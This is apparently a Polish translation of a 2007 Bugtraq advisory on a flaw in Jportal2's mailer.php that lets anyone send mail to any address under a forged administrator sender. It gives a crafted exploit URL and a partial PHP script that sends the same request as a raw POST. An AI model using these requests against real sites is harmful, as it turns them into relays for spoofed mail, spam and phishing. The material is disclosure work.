|
Polskie tłumaczenie bugtraqu
| Przetłumaczył: | xArti | | Temat artykułu: | Jportal2 wysyłanie maila na dowolny adres | | Źródło: | http://224.awardspace.com/jportal.txt | | Podatne wersje: | Jportal2 z modułem mailer.php | | Data publikacji: | 2007-02-25 21:19:57 | | Czytano: | 3530 razy |
Blad wystepuje w pliku mailer.php, ktory nie sprawdza czy adres e-mail podany w zmiennej $to jest na liscie e-mail'i portalu.
Najprostsza metoda wykorzystania jest spreparowanie adresu URL
http://adres.strony.com/mailer.php?to=adres@email.com&subject=TestExploita&from_name=Admin&from_mail=admin@adres.com&body=TestExploita&ok=wyslij&cmd=sendmail
Takie proste wyexploitowanie jest mozliwe dzieki temu, ze Jportal nie sprawdza czy zmienna jest z tablicy POST czy GET.
Jesli, jednak ktorys admin pokusilby sie o dodanie sprawdzania czy zmienna jest z tablicy POST czy GET mozna dziure wykorzystac inna metoda
$fp = fsockopen("adres.strony.com",80,$errno,$errstr,1);
if(!$fp)die("Nie mozna nawiazac polaczenia");
$data = "to=adres@email.com&subject=TestExploita&from_name=Admin&from_mail=admin@adres.com&body=TestExploita&ok=wyslij&cmd=sendmail";
$out = "POST /mailer.php HTTP/1.1\r\n";
$out .= "Host: adres.strony.com\r\n";
$out .= "Content-length: ".strlen($data)."\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= $data;
?>
|
|
|